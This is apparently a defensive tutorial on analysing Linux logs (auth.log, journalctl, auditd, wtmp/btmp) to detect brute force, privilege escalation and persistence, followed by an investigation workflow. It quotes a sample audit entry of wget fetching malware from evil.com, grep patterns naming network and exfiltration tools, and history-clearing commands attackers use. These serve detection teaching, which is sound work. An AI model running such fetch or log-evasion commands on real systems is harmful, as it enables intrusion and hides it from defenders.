Linux Log Analysis | Blue Team & Defense

Linux systems log everything - every login, every command (if configured), every service event. For defenders, these logs reveal attacker activity, from initial access to privilege escalation to persistence. The key is knowing where to look and what to look for.

Unlike Windows with its Event Viewer, Linux logs are typically text files scattered across directories. Think of it like a library where every department keeps its own logbook. Authentication logs go in one place, web server logs in another, kernel messages somewhere else. Learning the layout is half the battle.

Log Management Varies

Modern Linux uses systemd with journald. Older systems use rsyslog or syslog-ng. The concepts are similar, but commands differ. We'll cover both approaches.

Linux Log Locations

1Key Linux Log Files and Directories:
2 
3AUTHENTICATION LOGS (Most Important!)
4─────────────────────────────────────────────────────────────────
5/var/log/auth.log       │ Debian/Ubuntu: SSH, sudo, authentication
6/var/log/secure         │ RHEL/CentOS: Same as auth.log
7/var/log/btmp           │ Failed login attempts (binary, use lastb)
8/var/log/wtmp           │ Login records (binary, use last)
9/var/log/lastlog        │ Last login for each user (use lastlog)
10 
11SYSTEM LOGS
12─────────────────────────────────────────────────────────────────
13/var/log/syslog         │ General system messages (Debian/Ubuntu)
14/var/log/messages       │ General system messages (RHEL/CentOS)
15/var/log/kern.log       │ Kernel messages
16/var/log/dmesg          │ Boot messages (also use dmesg command)
17/var/log/boot.log       │ Boot process logs
18 
19APPLICATION LOGS
20─────────────────────────────────────────────────────────────────
21/var/log/apache2/       │ Apache web server logs
22/var/log/nginx/         │ Nginx web server logs
23/var/log/mysql/         │ MySQL database logs
24/var/log/postgresql/    │ PostgreSQL logs
25/var/log/mail.log       │ Mail server logs
26 
27AUDIT & SECURITY
28─────────────────────────────────────────────────────────────────
29/var/log/audit/         │ auditd logs (if installed)
30/var/log/fail2ban.log   │ Fail2ban actions
31 
32SYSTEMD/JOURNALD (Modern Systems)
33─────────────────────────────────────────────────────────────────
34606070;"># Not files - use journalctl command
35journalctl              │ Query all journal logs
36journalctl -u sshd      │ Specific service logs

Authentication Log Analysis

bash

1606070;"># Authentication Log Analysis (auth.log / secure)
2 
3606070;"># View recent authentication events
4sudo tail -100 /var/log/auth.log
5 
6606070;"># Find SSH login attempts
7grep 606070;">#a5d6ff;">"sshd" /var/log/auth.log | tail -50
8 
9606070;"># Successful SSH logins
10grep 606070;">#a5d6ff;">"Accepted" /var/log/auth.log
11606070;"># Example output:
12606070;"># Jul 15 14:22:01 server sshd[12345]: Accepted publickey for admin from 192.168.1.50 port 54321
13 
14606070;"># Failed SSH logins (Brute Force Detection)
15grep 606070;">#a5d6ff;">"Failed password" /var/log/auth.log
16606070;"># Example output:
17606070;"># Jul 15 14:20:15 server sshd[12340]: Failed password for root from 10.0.0.5 port 43210
18 
19606070;"># Count failed logins by IP
20grep 606070;">#a5d6ff;">"Failed password" /var/log/auth.log | \
21  awk 606070;">#a5d6ff;">'{print $(NF-3)}' | sort | uniq -c | sort -rn | head -10
22 
23606070;"># Find sudo usage
24grep 606070;">#a5d6ff;">"sudo:" /var/log/auth.log
25606070;"># Example output:
26606070;"># Jul 15 15:00:00 server sudo: admin : TTY=pts/0 ; PWD=/home/admin ; USER=root ; COMMAND=/bin/bash
27 
28606070;"># Suspicious: User opened root shell
29grep 606070;">#a5d6ff;">"COMMAND=/bin/bash" /var/log/auth.log
30 
31606070;"># Invalid user attempts (scanning for usernames)
32grep 606070;">#a5d6ff;">"Invalid user" /var/log/auth.log
33606070;"># Example output:
34606070;"># Jul 15 14:21:00 server sshd[12350]: Invalid user test from 10.0.0.5 port 43215

Brute Force Indicators

Many "Failed password" entries from the same IP followed by "Accepted" = the password was cracked! Investigate immediately. Also watch for "Invalid user" - attackers trying common usernames.

Using journalctl (systemd)

bash

1606070;"># journalctl - Query systemd journal logs
2 
3606070;"># View all logs (most recent at bottom)
4journalctl
5 
6606070;"># Follow logs in real-time (like tail -f)
7journalctl -f
8 
9606070;"># Show logs since specific time
10journalctl --since 606070;">#a5d6ff;">"2024-07-15 14:00:00"
11journalctl --since 606070;">#a5d6ff;">"1 hour ago"
12journalctl --since today
13 
14606070;"># Logs for specific service
15journalctl -u sshd.service
16journalctl -u nginx.service
17 
18606070;"># Show only errors and critical
19journalctl -p err
20journalctl -p 0..3   606070;"># emerg(0), alert(1), crit(2), err(3)
21 
22606070;"># Kernel messages only
23journalctl -k
24 
25606070;"># Show logs for specific boot
26journalctl -b 0      606070;"># Current boot
27journalctl -b -1     606070;"># Previous boot
28journalctl --list-boots  606070;"># List all boots
29 
30606070;"># Grep within journalctl
31journalctl -u sshd | grep 606070;">#a5d6ff;">"Failed"
32 
33606070;"># Output as JSON (for parsing)
34journalctl -u sshd -o json-pretty
35 
36606070;"># Security-focused queries
37journalctl _UID=0                    606070;"># All root activity
38journalctl _TRANSPORT=audit          606070;"># Audit events
39journalctl -u sshd --since today     606070;"># Today's SSH

Journal Persistence

By default, journald may only store logs in memory (lost on reboot). To persist: edit /etc/systemd/journald.conf and set Storage=persistent, then restart systemd-journald.

Detecting Attack Patterns

bash

1606070;"># Detecting Common Attacks in Linux Logs
2 
3606070;"># 1. BRUTE FORCE SSH
4606070;"># Many failed logins from same source
5grep 606070;">#a5d6ff;">"Failed password" /var/log/auth.log | \
6  awk 606070;">#a5d6ff;">'{print $(NF-3)}' | sort | uniq -c | sort -rn | head
7606070;"># Output example:
8606070;">#  547 192.168.1.100    <- Brute force!
9606070;">#   12 10.0.0.5
10606070;">#    3 192.168.1.50
11 
12606070;"># Check if any succeeded after failures
13grep -E 606070;">#a5d6ff;">"Accepted|Failed" /var/log/auth.log | grep -A1 "192.168.1.100"
14 
15606070;"># 2. PRIVILEGE ESCALATION
16606070;"># New users added
17grep 606070;">#a5d6ff;">"new user" /var/log/auth.log
18606070;"># Users added to sudo group
19grep 606070;">#a5d6ff;">"add.*to group sudo" /var/log/auth.log
20606070;"># Unusual sudo commands
21grep 606070;">#a5d6ff;">"COMMAND=" /var/log/auth.log | grep -v "COMMAND=/bin/ls"
22 
23606070;"># 3. SUSPICIOUS CRON ACTIVITY
24606070;"># Check cron logs for new jobs
25grep CRON /var/log/syslog | tail -50
26606070;"># Look for unfamiliar scripts
27grep CRON /var/log/syslog | grep -v 606070;">#a5d6ff;">"root.*CMD"
28 
29606070;"># 4. SERVICE MANIPULATION
30606070;"># Services started/stopped
31journalctl -u 606070;">#a5d6ff;">'*.service' | grep -E "Started|Stopped"
32606070;"># New services installed
33ls -lt /etc/systemd/system/ | head
34 
35606070;"># 5. KERNEL EXPLOITS
36606070;"># Look for kernel panics or unusual messages
37dmesg | grep -i 606070;">#a5d6ff;">"kernel"
38journalctl -k | grep -iE 606070;">#a5d6ff;">"error|fail|exploit"
39 
40606070;"># 6. FILE INTEGRITY
41606070;"># If AIDE or similar is installed
42aide --check

bash

1606070;"># Quick Security Audit Script
2 
3606070;">#!/bin/bash
4echo 606070;">#a5d6ff;">"=== FAILED SSH LOGINS (Last 24h) ==="
5journalctl -u sshd --since 606070;">#a5d6ff;">"24 hours ago" | grep "Failed" | wc -l
6 
7echo -e 606070;">#a5d6ff;">"\n=== TOP 10 FAILED LOGIN SOURCES ==="
8grep 606070;">#a5d6ff;">"Failed password" /var/log/auth.log 2>/dev/null | \
9  awk 606070;">#a5d6ff;">'{print $(NF-3)}' | sort | uniq -c | sort -rn | head -10
10 
11echo -e 606070;">#a5d6ff;">"\n=== SUCCESSFUL ROOT LOGINS ==="
12grep 606070;">#a5d6ff;">"Accepted.*root" /var/log/auth.log 2>/dev/null | tail -5
13 
14echo -e 606070;">#a5d6ff;">"\n=== RECENT SUDO COMMANDS ==="
15grep 606070;">#a5d6ff;">"COMMAND=" /var/log/auth.log 2>/dev/null | tail -10
16 
17echo -e 606070;">#a5d6ff;">"\n=== NEW USERS ADDED ==="
18grep 606070;">#a5d6ff;">"new user" /var/log/auth.log 2>/dev/null
19 
20echo -e 606070;">#a5d6ff;">"\n=== RECENT SERVICE CHANGES ==="
21journalctl -u 606070;">#a5d6ff;">'*.service' --since "24 hours ago" | \
22  grep -E 606070;">#a5d6ff;">"Started|Stopped" | tail -10

Command History Analysis

bash

1606070;"># Analyzing User Command History
2 
3606070;"># Note: Command history is controlled by users
4606070;"># They can delete/modify it. Use auditd for reliable logging!
5 
6606070;"># Check current user's history
7history
8 
9606070;"># Check another user's history (as root)
10cat /home/username/.bash_history
11 
12606070;"># Find all history files
13find /home -name 606070;">#a5d6ff;">".bash_history" 2>/dev/null
14find /home -name 606070;">#a5d6ff;">".*_history" 2>/dev/null
15 
16606070;"># Check root's history
17cat /root/.bash_history
18 
19606070;"># Search for suspicious commands
20cat /home/*/.bash_history | grep -iE 606070;">#a5d6ff;">"wget|curl|nc|ncat|python|perl|ruby|base64"
21 
22606070;"># Look for recon commands
23cat /home/*/.bash_history | grep -iE 606070;">#a5d6ff;">"whoami|id|uname|ifconfig|ip addr|cat /etc/passwd"
24 
25606070;"># Look for privilege escalation attempts
26cat /home/*/.bash_history | grep -iE 606070;">#a5d6ff;">"sudo|su -|chmod.*+s|chown root"
27 
28606070;"># Look for data exfiltration
29cat /home/*/.bash_history | grep -iE 606070;">#a5d6ff;">"scp|rsync|tar|zip|curl.*POST"
30 
31606070;"># IMPORTANT: History can be disabled/cleared!
32606070;"># Check if HISTSIZE=0 or HISTFILE=/dev/null in .bashrc

History Limitations

Bash history is easily manipulated by users. Attackers often run "unset HISTFILE" or "history -c" to avoid logging. For reliable command logging, use auditd with proper rules.

Auditd - Linux Auditing

bash

1606070;"># auditd - Linux Audit Framework
2606070;"># Provides reliable, tamper-resistant logging
3 
4606070;"># Check if auditd is running
5systemctl status auditd
6 
7606070;"># View audit rules
8auditctl -l
9 
10606070;"># Add rule to monitor /etc/passwd
11auditctl -w /etc/passwd -p wa -k passwd_changes
12 
13606070;"># Add rule to monitor command execution
14auditctl -a always,exit -F arch=b64 -S execve -k command_exec
15 
16606070;"># Search audit logs
17ausearch -k passwd_changes
18ausearch -k command_exec --start today
19 
20606070;"># Generate audit report
21aureport --summary
22 
23606070;"># Failed authentication report
24aureport --auth --failed
25 
26606070;"># File access report
27aureport --file
28 
29606070;"># Successful command executions
30aureport --comm
31 
32606070;"># Example audit log entry:
33606070;"># type=EXECVE msg=audit(1626375600.123:456): argc=3
34606070;"># a0="wget" a1="http://evil.com/malware.sh" a2="-O" a3="/tmp/mal.sh"
35 
36606070;"># Search for specific command
37ausearch -c 606070;">#a5d6ff;">"wget" --start today
38ausearch -c 606070;">#a5d6ff;">"curl" --start today

Laurel - Better Audit Parsing

Consider using Laurel (github.com/threathunters-io/laurel) to transform audit logs into JSON. Much easier to ingest into SIEM and analyze!

Binary Log Analysis

bash

1606070;"># Binary Logs - Require Special Commands
2 
3606070;"># wtmp - Login records
4last                    606070;"># Show login history
5last -n 20              606070;"># Last 20 entries
6last -f /var/log/wtmp   606070;"># Explicit file
7last reboot             606070;"># Show reboots
8last -x shutdown        606070;"># Show shutdowns
9 
10606070;"># Example output:
11606070;"># admin   pts/0    192.168.1.50  Mon Jul 15 14:22   still logged in
12606070;"># admin   pts/0    192.168.1.50  Mon Jul 15 10:00 - 12:30 (02:30)
13 
14606070;"># btmp - Failed logins
15sudo lastb              606070;"># Requires root
16sudo lastb -n 50        606070;"># Last 50 failed attempts
17 
18606070;"># Example output:
19606070;"># root     ssh:notty    192.168.1.100  Mon Jul 15 14:20 - 14:20  (00:00)
20606070;"># admin    ssh:notty    10.0.0.5       Mon Jul 15 14:21 - 14:21  (00:00)
21 
22606070;"># lastlog - Most recent login per user
23lastlog                 606070;"># All users
24lastlog -u admin        606070;"># Specific user
25 
26606070;"># utmp - Currently logged in users
27who                     606070;"># Current logins
28w                       606070;"># Current logins with activity
29users                   606070;"># Just usernames
30 
31606070;"># Detect suspicious patterns
32606070;"># Users who never logged in but now are
33lastlog | awk 606070;">#a5d6ff;">'$NF !~ /Never/ && $1 !~ /root|daemon/'
34 
35606070;"># Failed logins per IP
36sudo lastb | awk 606070;">#a5d6ff;">'{print $3}' | sort | uniq -c | sort -rn | head

Investigation Workflow

bash

1606070;"># Linux Incident Investigation Workflow
2 
3606070;"># Scenario: Alert for suspicious SSH activity on server
4 
5606070;"># 1. WHO IS CURRENTLY LOGGED IN?
6w
7who
8606070;"># Check for unexpected sessions or IPs
9 
10606070;"># 2. RECENT SUCCESSFUL LOGINS
11last -n 50
12606070;"># Look for unusual times, unknown IPs
13 
14606070;"># 3. FAILED LOGIN ATTEMPTS
15sudo lastb -n 100 | head -50
16grep 606070;">#a5d6ff;">"Failed password" /var/log/auth.log | tail -50
17606070;"># Identify brute force sources
18 
19606070;"># 4. DID ANY SUCCEED AFTER FAILURES?
20grep 606070;">#a5d6ff;">"192.168.1.100" /var/log/auth.log | grep -E "Accepted|Failed"
21606070;"># Timeline: failures then success = compromised!
22 
23606070;"># 5. WHAT DID ATTACKER DO AFTER LOGIN?
24606070;"># Check sudo usage
25grep 606070;">#a5d6ff;">"sudo:.*COMMAND" /var/log/auth.log | grep -A5 "Jul 15 14:22"
26 
27606070;"># Check command history (if available)
28cat /home/compromised_user/.bash_history
29 
30606070;"># 6. LOOK FOR PERSISTENCE
31606070;"># New cron jobs
32crontab -l -u compromised_user
33ls -la /etc/cron.*
34cat /etc/crontab
35 
36606070;"># New systemd services
37ls -lt /etc/systemd/system/ | head
38 
39606070;"># SSH authorized_keys
40cat /home/compromised_user/.ssh/authorized_keys
41 
42606070;"># Modified startup scripts
43ls -lt /etc/init.d/
44ls -lt /etc/rc.local
45 
46606070;"># 7. LOOK FOR MALWARE/TOOLS
47606070;"># Recent file changes
48find / -mtime -1 -type f 2>/dev/null | head -50
49 
50606070;"># Files in /tmp, /dev/shm
51ls -la /tmp /dev/shm
52 
53606070;"># Unusual processes
54ps auxf | grep -v 606070;">#a5d6ff;">"\[" | head -30
55 
56606070;"># 8. NETWORK CONNECTIONS
57netstat -tulpn   606070;"># Listening ports
58ss -tulpn        606070;"># Alternative
59lsof -i          606070;"># Open connections
60 
61606070;"># 9. BUILD TIMELINE
62606070;"># Correlate timestamps from all sources
63grep 606070;">#a5d6ff;">"Jul 15 14:" /var/log/auth.log /var/log/syslog

Log Analysis Methodology

Linux Log Investigation

Current Statewho/w - Who's logged in now?

Authenticationlast/lastb - Login successes and failures

Privilege Usegrep sudo - What commands ran as root?

System ChangesCheck cron, services, startup scripts

File ActivityFind recently modified files

NetworkCheck connections and listeners

TimelineCorrelate events across log sources

Knowledge Check

Quick Quiz

Question 1 of 3

Which log file contains SSH authentication events on Debian/Ubuntu?

Challenges

Find the Brute Force

Challenge

🔥 intermediate

Write a one-liner that extracts all unique source IPs from failed SSH login attempts in /var/log/auth.log, counts them, and shows the top 5 attackers.

Need a hint? (4 available)

Key Takeaways

Authentication logs (/var/log/auth.log or /var/log/secure) are critical
Use journalctl -u sshd for systemd-based systems
lastb shows failed logins, last shows successful logins
Bash history is unreliable - attackers can clear it; use auditd instead
Look for brute force: many failures followed by success = compromised
Check cron, systemd, and authorized_keys for persistence

Related Lessons

Windows Event Log Analysis

Web Server Log Analysis

Linux Enumeration Basics